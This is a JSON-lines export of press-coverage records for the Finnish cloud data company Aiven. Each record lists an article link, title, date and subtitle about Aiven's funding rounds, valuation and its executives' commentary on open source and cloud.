{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"328NIhrnQvKNiJsfhl4FOz","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://mspalliance.com/ccpa-readiness-guide-for-msps/","publishedAt":"2019-11-12T21:00:00.000Z","subtitle":"Heikki Nousiainen, CTO and Co-Founder at Aiven had this to say about Microsoft’s decision. “Microsoft’s move to honor CCPA across the United States is a signal to other companies to follow, considering other states will be creating their own versions of the law. ","title":"CCPA Readiness Guide for MSPs"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"64F5ZNWv9Ee4zV9fJrOVYN","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.talouselama.fi/uutiset/suomen-uudella-yksisarvisella-sadan-prosentin-kasvu-joka-vuosi-porssiin-kun-liikevaihto-on-sata-miljoonaa/6e4cf303-5815-4117-b458-248427fe4902","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"Asiakkaina Aivenilla on jo useita miljardiliikevaihtoa tekeviä yhtiöitä.","title":"Talouselämä: Suomen uudella yksisarvisella sadan prosentin kasvu joka vuosi"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"34rVayicgn6aMNm0KArzXh","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.sdxcentral.com/articles/news/money-moves-february-2020/2020/03/","publishedAt":"2020-03-10T21:00:00.000Z","subtitle":"Here are some of the most prominent venture capital and merger and acquisition news items from the past month.","title":"Money Moves: February 2020"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"35kJJZXKceAP8r60J3Nk9n","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://sdtimes.com/data/python-or-r-which-to-choose-for-your-next-data-project/","publishedAt":"2021-06-28T21:00:00.000Z","subtitle":"\"R is specifically related to statistics, with most of the statistical algorithms having their first release in R and it is used in related introductory courses. This makes R a good fit for exploratory data analysis with a very low barrier to go from data, to insights, creating stunning reports, dashboards or APIs,” said Francesco Tisiot, developer advocate at database as a service company Aiven.","title":"SD Times: Python or R - which to choose for your next data project"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"38AQy1sL1YpHYqkaFafyvt","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.hs.fi/visio/art-2000007874685.html","publishedAt":"2021-03-22T21:00:00.000Z","subtitle":"Article in Finnish and behind a paywall","title":"HS Visio: Supercelliin uskoneet jättirahastot sijoittavat nyt suomalaiseen Aiveniin"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3GHwdQOnZOoGpjwKImZrbk","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.talouselama.fi/uutiset/miljardisarjaan-noussut-suomalainen-aiven-rekrytoi-koodareita-etatoihin-ympari-maailmaa-suurin-osa-uusista-tyontekijoista-ei-ole-edes-kaynyt-toimistolla/0264c612-a8bf-49da-956e-3a6b442feba4","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"Tällä viikolla uudesta rahoituskierroksesta kertonut ja yksisarviseksi kasvanut Aiven auttaa ohjelmistoillaan asiakkaitaan datan hallinnassa avoimissa pilvipalveluissa.","title":"Talouselämä: Miljardisarjaan noussut suomalainen Aiven rekrytoi koodareita etätöihin ympäri maailmaa"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3IRzybl1O7mWgRP4PSih00","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.forbes.com/sites/brucerogers/2021/06/14/aiven-builds-fast-growing-open-source-managed-cloud-services-subscription-business/?sh=3f4119402877","publishedAt":"2021-06-13T21:00:00.000Z","subtitle":"\"Saarenmaa attributes Aiven’s success to his and his fellow founders’ deep understanding of and commitment to the open-source developer community that comes from having been one of them, as well as for the collaborative nature of his team.\"","title":"Forbes: Aiven Builds Fast-Growing Open-Source Managed Cloud Services Subscription Business"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3Q0f9FF2AvIycUhNuC4ufl","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.thecloudcast.net/2021/04/expanding-open-source-in-cloud.html","publishedAt":"2021-04-27T21:00:00.000Z","subtitle":"Heikki Nousiainen, co-founder and CTO at Aiven, talks about how Aiven delivers a broad set of open source data and messaging services via the public cloud, as a managed service. ","title":"The Cloudcast: Expanding Open Source in the Cloud"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3QgjI7zQqVRzLI8ddQxYa4","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://insidebigdata.com/2019/10/22/above-the-trend-line-your-industry-rumor-central-for-10-22-2019/","publishedAt":"2019-10-21T21:00:00.000Z","subtitle":"“The migration effort by Amazon to transfer consumer business data out of Oracle and into Amazon owned services, Aurora and RDS, shows a strong shift in platforms putting forth cost-effective licensing strategies that root from leading databases the software is based on,” commented Heikki Nousiainen, CTO at Aiven.","title":"“Above the Trend Line” – Your Industry Rumor Central for 10/22/2019"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3SrjyUROxipeYcE53usBKJ","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://newsfounded.com/finlandeng/finnish-software-startup-raises-significant-investment-in-silicon-valley-a-four-year-old-company-worth-up-to-eur-236-million-finance/","publishedAt":"2020-02-04T21:00:00.000Z","subtitle":"Aiven, a software company founded by four Finnish software developer in 2016, $ 19 million in risky money, the company announced Wednesday. When business files move from local data centers to the cloud, the software can replace local work.","title":"Finnish Software Startup Raises Significant Investment In Silicon Valley"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3Uz9VS2cY4FsqczYMIjlWI","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.lifewire.com/how-to-make-better-passwords-5197073","publishedAt":"2021-08-10T21:00:00.000Z","subtitle":"\"With multi-factor authentication, you get a new password every time you need it,” James Arlen, a security expert at cloud data firm Aiven, told Lifewire in an email interview. “It's much harder to guess a password that changes every minute.”","title":"Lifewire: How to Make Better Passwords"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3aUvij8ZwEC1lv6uvV5Qpo","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.datanami.com/this-just-in/aiven-for-apache-kafka-now-available-in-aws-marketplace/","publishedAt":"2020-03-11T21:00:00.000Z","subtitle":"Aiven, a startup that combines open source technologies with cloud infrastructure, announced that its products will be available in the AWS Marketplace, starting with Aiven for Apache Kafka.","title":"Aiven for Apache Kafka Now Available in AWS Marketplace"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3awSn1D7EuLfO0OHqkErlC","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.itproportal.com/features/ten-reasons-why-the-public-cloud-is-right-for-you/","publishedAt":"2021-06-17T21:00:00.000Z","subtitle":"Ten reasons why organizations should consider public cloud over private and in-house solutions. By Aiven's CTO Heikki Nousiainen.","title":"Ten reasons why the public cloud is right for you"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3iOoN2tbGCv0PF53bN1EmE","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://blog.softwaremill.com/facts-about-kafka-every-business-should-know-1249a3b9db74","publishedAt":"2020-03-11T21:00:00.000Z","subtitle":"Apache Kafka is an open-source stream processing platform developed by the Apache Software Foundation written in Scala and Java. It aims to provide a unified, high-throughput, low-latency platform for handling real-time data feeds and is capable of handling trillions of events a day.","title":"Facts about Kafka every business should know"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3n26fEmDVxH2L6o82j9IQS","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://insights.dice.com/2021/08/12/cloud-data-growth-will-affect-jobs-in-2021-and-beyond/","publishedAt":"2021-08-11T21:00:00.000Z","subtitle":"Lorna Mitchell, head of developer relations at Aiven, thinks the cloud is a pretty safe trend to bet on: “I think ‘what’s next’ will mean moving beyond doing what we already know, but in the cloud instead of the datacenter.\"","title":"Dice: Cloud Data Growth Will Affect Jobs in 2021 and Beyond"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3pu8lp0FZhtbxErWUqtcrV","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://tech.eu/brief/these-were-the-10-biggest-european-tech-stories-this-week-7-february-2020/","publishedAt":"2020-02-09T21:00:00.000Z","subtitle":"Aiven, a Helsinki-based cloud technology startup, has raised a $40 million Series B round led by the Silicon Valley-based Institutional Venture Partners (IVP), with participation from Earlybird and other investors.","title":"These were the 10 biggest European tech stories last week"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3q2bq62PQbDmwdLFZjfnNv","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://streetfightmag.com/2019/12/18/companies-are-struggling-to-manage-iot-data-heres-why/#.Xs-cwBMzY3F","publishedAt":"2019-12-17T21:00:00.000Z","subtitle":"The devices around us are getting smarter. From the consumer’s perspective, that means refrigerators are sending notifications when the milk is running low, and thermostats are turning down the temperature when there’s no movement in the house.","title":"Companies Are Struggling to Manage IoT Data. Here’s Why"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3qFMMthiDZl4oNZAFM4Z6J","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://sifted.eu/articles/finlands-top-startups-scaleups/","publishedAt":"2021-08-26T21:00:00.000Z","subtitle":"The company raised a $100m Series C funding round in March, giving it a valuation of around $800m and making it one of Finland’s “soonicorns”. Aiven says it is planning to double its headcount over the next 12 months.","title":"Sifted: Finland’s top startups and scaleups to watch"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3sQxas5z6qQ8BIet40I31t","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://enterprisersproject.com/article/2019/12/tech-predictions-2020","publishedAt":"2019-12-17T21:00:00.000Z","subtitle":"IT leaders look at the road ahead and predict what’s next for RPA, AI, 5G, quantum computing, cybersecurity, and more.","title":"17 tech predictions for 2020 – and beyond"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3u42kN8IU3a8KpDxgAFvVC","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.springerprofessional.de/datenmanagement/unternehmensprozesse/unternehmen-muessen-ihre-datenarchitektur-modernisieren/19996564","publishedAt":"2022-02-11T08:00:00.000Z","subtitle":"Heikki Nousiainen, CTO at Aiven, discusses why organizations need to modernize their data architecture. ","title":"Unternehmen müssen ihre Datenarchitektur modernisieren"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3w5vmSQroC8g6Nw2Z9Y9Hz","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.axios.com/newsletters/axios-pro-rata-a5a0e6aa-5038-4852-8efd-fe7ac20d6a9c.html?utm_source=newsletter\u0026utm_medium=email\u0026utm_campaign=newsletter_axiosprorata\u0026stream=top","publishedAt":"2020-02-05T21:00:00.000Z","subtitle":"Aiven, a Finnish cloud data platform, raised $40 million in Series B funding. IVP led, and was joined by Earlybird VC and Lifeline Ventures.","title":"Axios Pro Rata (Newsletter)"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4AXZHzahe1gBpZu25BMjKp","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.enterpriseai.news/2020/04/21/ibm-flat-despite-cloud-gains-hpe-declares-dividend/","publishedAt":"2020-04-20T21:00:00.000Z","subtitle":"In a financial earnings season like none before, two of the world’s largest enterprise IT infrastructure vendors appear headed in opposite directions.","title":"IBM Flat Despite Cloud Gains, HPE Declares Dividend "}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4DsSqccRDfUllQlFPjJnVK","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.computerweekly.com/news/252475618/AWS-hits-back-at-open-source-theft-allegations","publishedAt":"2019-12-16T21:00:00.000Z","subtitle":"New York Times accuses the public cloud provider of taking open source products and integrating them into its own managed services","title":"AWS hits back at open source theft allegations"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4KKL9Twb4qT4eOWahJxyk6","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.darkreading.com/edge/theedge/10-mistakes-companies-make-in-their-ransomware-responses/b/d-id/1341508?page_number=8","publishedAt":"2021-07-20T21:00:00.000Z","subtitle":"Hit by ransomware? These missteps can take a bad scenario and make it even worse.\n","title":"Dark Reading: 10 Mistakes Companies Make In Their Ransomware Responses"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4Q6ds1Cvi5DmtPfDhPwKLr","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.bloomberg.com/news/articles/2022-05-11/finnish-startup-aiven-gets-eurazeo-funds-at-3-billion-valuation","publishedAt":"2022-05-12T08:00:00.000Z","subtitle":"Finnish software startup Aiven has raised $210 million of new funding, giving the company cash to expand abroad and hire developers. ","title":"Finnish Startup Aiven Gets Eurazeo Funds at $3 Billion Valuation"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4p4d6OFxlLzBHc9A4RKOHO","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://sdtimes.com/softwaredev/documentation-continues-to-be-a-thorn-for-developers/","publishedAt":"2020-04-23T21:00:00.000Z","subtitle":"Few tasks can make a developer groan more than the process of documenting their code. As important as documentation is, it’s a task that has always gotten set as a low priority for developers, which leads to problems down the line. ","title":"Documentation continues to be a thorn for developers"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4sJ1o1msE2hOJGbo5vX5bF","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.eu-startups.com/2021/06/we-began-to-realise-that-applications-in-the-future-would-all-be-built-on-the-cloud-interview-with-aivens-ceo-and-cofounder-oskari-saarenmaa/","publishedAt":"2021-06-03T21:00:00.000Z","subtitle":"“We began to realise that applications in the future would all be built on the cloud”: ","title":"EU-Startups: Interview with Aiven’s CEO and cofounder, Oskari Saarenmaa"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4t1lhZrMFrmS9gmeGVx5o8","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.siliconrepublic.com/start-ups/finnish-cloud-and-open-source-company-reaches-2bn-unicorn-valuation","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"Aiven’s track record in the open source community which it plans to build on, has been praised by investors including IVP and World Innovation Lab.","title":"Silicon Republic: Finnish cloud and open source company reaches $2bn unicorn valuation"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4w8DhAlbJwv3oP86qs5J7F","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.techinasia.com/meet-opensource-cloud-platform-bringing-companies-digital-age","publishedAt":"2022-05-11T08:00:00.000Z","subtitle":"Oskari Saarenmaa, CEO of Aiven, discusses how Aiven platform brings companies into the Digital Age","title":"Meet the open-source cloud platform bringing companies into the digital age"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4xLZuBnvMWAfJj4JkcqxKf","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"http://www.digitaljournal.com/tech-and-science/technology/q-a-how-to-remain-compliant-in-the-cloud/article/567360","publishedAt":"2020-02-18T21:00:00.000Z","subtitle":"To meet data privacy requirements, businesses seeking to adopt cloud technology need to ensure they opt for a solution that comes with security on all accounts. Heikki Nousiainen, CTO of Aiven explains the compliance requirements.","title":"Q\u0026A: How to remain compliant in the cloud"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"64cGXac8ENBUwak1YArw3X","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://linuxinsider.com/story/Devs-Engage-in-Soul-Searching-on-Future-of-Open-Source-86282.html","publishedAt":"2019-10-07T21:00:00.000Z","subtitle":"Open source development involves more than maintaining a balance, observed Heikki Nousiainen, CTO at Aiven.","title":"Devs Engage in Soul-Searching on Future of Open Source"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5ANNEIaihIINkdj7Ot8xGZ","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://techcrunch.com/2021/10/18/aiven-snags-60m-investment-on-2b-valuation-up-from-800m-in-march/","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"Aiven, a Finnish startup that helps companies combine various open source technologies with public cloud infrastructure resources, announced a $60 million investment on a $2 billion valuation today","title":"TechCrunch: Aiven snags $60M investment on $2B valuation, up from $800M in March"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5CD8MBBXPz2uiAx0v4tBvB","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.theregister.com/2021/10/19/aiven_valuation/","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"Finnish open-source-as-a-service provider Aiven has attracted a $60m extension to its Series C funding which now values the firm at $2bn.","title":"The Register: WTF? Value of Finnish open-source-as-a-service startup Aiven jumps $1.2bn in 7 months"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5EXfMyxfuNd4M3pw78ukIf","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.techrepublic.com/article/apple-and-google-to-prevent-contact-tracing-apps-from-tracking-your-location/","publishedAt":"2020-05-05T21:00:00.000Z","subtitle":"The built-in technology would ban the use of GPS location data to monitor contact with people who test positive for COVID-19.","title":"Apple and Google to prevent contact tracing apps from tracking your location"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5Pl0jMjlycxuKG5jsN0uzD","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.businessinsider.com/elastic-open-source-licenses-amazon-elasticsearch-kibana-2021-1?r=US\u0026IR=T","publishedAt":"2021-01-24T22:00:00.000Z","subtitle":"Elastic’s recent license change and its long-term impact for the open source community. The article is behind a paywall. ","title":"Business Insider: $14 billion Elastic made a big stand against Amazon's cloud and reignited a fierce open source debate"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5UOU1fk20eIzjd271OolkM","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.expresscomputer.in/news/aiven-increases-access-to-managed-apache-kafka-by-providing-it-on-aws-marketplace/50568/","publishedAt":"2020-03-11T21:00:00.000Z","subtitle":"The move enables AWS customers to easily access Aiven’s data management solution.","title":"Aiven increases access to managed Apache Kafka by providing it on AWS Marketplace"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5XXHMo9RlxRH7GRjBq37AV","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.americaninno.com/boston/funding-boston/finnish-cloud-startup-aiven-raises-40m-plans-boston-expansion/?mc_cid=4c9a73006e\u0026mc_eid=8d659a7e89","publishedAt":"2020-02-04T21:00:00.000Z","subtitle":"Aiven, a Finnish startup whose U.S. headquarters is in Boston, has raised $40 million in a Series B round. The company’s goal is to combine open-source technologies with cloud infrastructure.","title":"Finnish Cloud Startup Aiven Raises $40M, Plans Boston Expansion"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"64wBFhuLvyqvwyLapcfCJB","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://insidebigdata.com/2021/08/26/heard-on-the-street-8-25-2021/","publishedAt":"2021-08-25T21:00:00.000Z","subtitle":"\"Google’s growth is a direct indicator of the upward trajectory of the cloud. The public cloud market is expected to total $304.9B in 2021 due to the popularity of managed database and cloud services, and another overlooked portion that I anticipate will continue to gain traction is open source.\" ","title":"insideBIGDATA: Commentary by Heikki Nousiainen, CTO at Aiven"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5iXNpNOKjwOBTSWEfUdT8G","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://opensourceforu.com/2020/02/aiven-raises-40-million-in-series-b-funding/","publishedAt":"2020-02-10T21:00:00.000Z","subtitle":"According to a report by Data Economy, Aiven, which combines open-source technologies with cloud infrastructure has announced it has raised $40 million in Series B funding.","title":"Aiven Raises $40 Million In Series B Funding"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5j4DnhQ9AZjoLyetbwMnNe","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://qz.com/emails/daily-brief/1857134/","publishedAt":"2020-05-12T21:00:00.000Z","subtitle":"We asked Quartz tech reporter Amrita Khalid to do some digging on whether someone using a virtual private network for work or personal privacy reasons might cause a rift in the contact tracing continuum.","title":"Daily Brief: \"Coronavirus hack allegations, earnings insight, judgy neighbors\""}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5jX2yhSxD5PNfuJ0ndrQVr","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://aiven.io/","publishedAt":"2019-12-25T21:00:00.000Z","subtitle":"TODO","title":"Rocket growth player Aiven received 35 million pots from Supercell's familiar fund"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5ruiaAzeyqF2baUsI2iszR","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.zdnet.com/article/aws-as-predicted-is-forking-elasticsearch/","publishedAt":"2021-01-21T22:00:00.000Z","subtitle":"Aiven CEO Oskari Saarenmaa says \"Many pieces of software that have now been restricted by the owner were built on top of an array of other open-source projects one way or another.\" ","title":"ZDNet: AWS, as predicted, is forking Elasticsearch"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5uh4lXxrNVBbuuWjoeA7YH","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.helpnetsecurity.com/2021/02/17/achieving-devsecops/","publishedAt":"2021-02-16T22:00:00.000Z","subtitle":"The most significant barrier to achieving DevSecOps is the continued perception that “Sec” is not already a part of “Dev” and “Ops”, says James Arlen, CISO at cloud data platform provider Aiven.","title":"Tips for boosting the “Sec” part of DevSecOps"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5wZSUFPWzJJ8PnhaApzbbR","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://sdtimes.com/softwaredev/sd-times-news-digest-cheerpj-2-0-splice-machine-partners-with-heirloom-computing-on-modern-mainframe-apps-and-aivens-open-source-cloud-platform/","publishedAt":"2020-02-05T21:00:00.000Z","subtitle":"Aiven raises $40 million for its open-source cloud platform","title":"SD Times news digest: CheerpJ 2.0, Splice Machine partners with Heirloom Computing on modern mainframe apps, and Aiven’s open-source cloud platform"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5xFmATx4OcODmGwIUnGYYb","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://techblitz.com/aiven/","publishedAt":"2021-05-05T21:00:00.000Z","subtitle":"In Japanese","title":"Techblitz: Cloud-managed open source software makes infrastructure construction easier "}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"61QY66DmXaefiwbU06sT04","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"http://www.dbta.com/Editorial/News-Flashes/Aiven-Raises-40-Million-in-Latest-Funding-Round-to-Expand-Integrations-139084.aspx","publishedAt":"2020-02-04T21:00:00.000Z","subtitle":"Aiven, a startup that combines the open source technologies with cloud infrastructure, has raised $40 million in Series B funding, enabling the company to add new integrations and innovations.","title":"Aiven Raises $40 Million in Latest Funding Round to Expand Integrations"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"6RFNU08UxtPakeuGeIgEdk","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://morganlinton.com/two-startups-building-their-brands-on-io-domains-raised-53m-combined-today/","publishedAt":"2020-02-04T21:00:00.000Z","subtitle":"Today was a pretty special day for companies branding on .IO as Clearx.io announced a $13M raise and Aiven.io announced a $40M raise. So what are these companies doing to get investors so excited?","title":"Two startups building their brands on .IO domains raised $53M combined today"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"6SjIQtRGdPZpoqSb9X9oUb","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://venturebeat.com/2021/06/18/aiven-91-of-developers-say-open-source-is-in-their-future/","publishedAt":"2021-06-17T21:00:00.000Z","subtitle":"The survey revealed growing positivity towards open source among cloud and database developers in the United Kingdom, with respondents listing twice as many benefits as they did disadvantages.","title":"VentureBeat: 91% of developers say open source is in their future"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"6U5iAZF8977BkLxraTkXwZ","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.wsj.com/articles/open-source-startup-aiven-raises-60-million-in-new-funding-11634676772","publishedAt":"2021-10-19T22:00:00.000Z","subtitle":"Investors are betting on rising interest among CIOs for in-house software development efforts.","title":"The Wall Street Journal: Open-Source Startup Aiven Raises $60 Million in New Funding"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"6dXM7UsaYn4kDz9kV8p9A1","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://searchaws.techtarget.com/tip/AWS-data-lake-and-data-warehouse-options-for-the-cloud","publishedAt":"2019-11-10T21:00:00.000Z","subtitle":"Get ready for data analytics in the cloud. Learn the best ways to handle your data on AWS. Distinguish between data lakes and data warehouse services on AWS and how they work.","title":"AWS data lake and data warehouse options for the cloud"}
{"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"6eZ6ZeunqkmrOzlWR5T2IS","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.devprojournal.com/technology-trends/digital-transformation/digital-transformation-goals-for-2021/","publishedAt":"2020-12-21T22:00:00.000Z","subtitle":"Heikki Nousiainen, CTO at Aiven, says businesses and enterprises will be more strategic about data collection and analysis: “The growth of IoT will continue rapidly in 2021, dependent on where sensors are able to be placed and what kind of data we can collect.","title":"Digital Transformation Goals for 2021"}
